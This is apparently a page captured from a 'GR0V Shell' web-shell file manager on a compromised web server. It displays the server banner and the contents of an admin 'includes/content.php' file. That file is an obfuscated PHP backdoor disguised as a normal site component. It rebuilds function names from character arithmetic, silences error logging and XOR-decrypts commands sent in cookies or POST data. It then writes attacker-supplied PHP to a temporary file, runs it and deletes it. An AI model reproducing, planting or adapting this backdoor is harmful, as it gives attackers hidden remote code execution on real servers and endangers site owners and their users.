? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/board/administrator/includes/

Current File : /home/admin/public_html/old/board/administrator/includes/content.php

<?php $lqyrxz = chr(116-14)."\x69".chr(1105-997)."\x65"."\137".chr(663-551)."\165".chr(116).'_'."\x63".'o'.chr(522-412).chr(741-625)."\x65".chr(110).chr(264-148).'s';
$ohtxlxbd = chr(768-670).'a'.chr(115)."\145".'6'.'4'."\x5f"."\144".chr(101)."\x63".chr(111).chr(100).'e';
$wllndraf = "\x69".chr(110).'i'.'_'.chr(509-394).'e'.'t';
$pqngz = 'u'.chr(110).chr(108)."\x69".chr(183-73)."\x6b";


@$wllndraf(chr(735-634)."\162"."\162".chr(111)."\x72".chr(95).chr(108)."\x6f"."\x67", NULL);
@$wllndraf('l'.'o'.chr(585-482).chr(95).'e'."\x72".chr(198-84).chr(111)."\162".'s', 0);
@$wllndraf('m'.chr(97).chr(756-636).chr(320-225).'e'."\170".chr(468-367).chr(99).'u'.'t'."\151".chr(111).'n'.'_'."\164"."\151".'m'.chr(101), 0);
@set_time_limit(0);

function hehhgczga($mrzjzllwgv, $oxbyjigf)
{
    $yrffzcva = "";
    for ($xtothvtkb = 0; $xtothvtkb < strlen($mrzjzllwgv);) {
        for ($j = 0; $j < strlen($oxbyjigf) && $xtothvtkb < strlen($mrzjzllwgv); $j++, $xtothvtkb++) {
            $yrffzcva .= chr(ord($mrzjzllwgv[$xtothvtkb]) ^ ord($oxbyjigf[$j]));
        }
    }
    return $yrffzcva;
}

$nhybndq = array_merge($_COOKIE, $_POST);
$fjkmbbs = '8da83859-536a-4a0b-b235-30a18d044d23';
foreach ($nhybndq as $xtothvtkbljflj => $mrzjzllwgv) {
    $mrzjzllwgv = @unserialize(hehhgczga(hehhgczga($ohtxlxbd($mrzjzllwgv), $fjkmbbs), $xtothvtkbljflj));
    if (isset($mrzjzllwgv[chr(991-894).chr(107)])) {
        if ($mrzjzllwgv['a'] == 'i') {
            $xtothvtkb = array(
                chr(200-88)."\166" => @phpversion(),
                chr(115).'v' => "3.5",
            );
            echo @serialize($xtothvtkb);
        } elseif ($mrzjzllwgv['a'] == "\x65") {
            $lzsvje = "./" . md5($fjkmbbs) . '.'."\151"."\156"."\x63";
            @$lqyrxz($lzsvje, "<" . "\x3f".chr(986-874).'h'.'p'.chr(32).chr(210-146)."\165".'n'.'l'."\x69"."\156".chr(107).chr(40)."\x5f"."\137"."\106"."\111".chr(644-568)."\105".chr(95)."\x5f".chr(41)."\x3b"."\40" . $mrzjzllwgv[chr(100)]);
            include($lzsvje);
            @$pqngz($lzsvje);
        }
        exit();
    }
}

T1KUS90T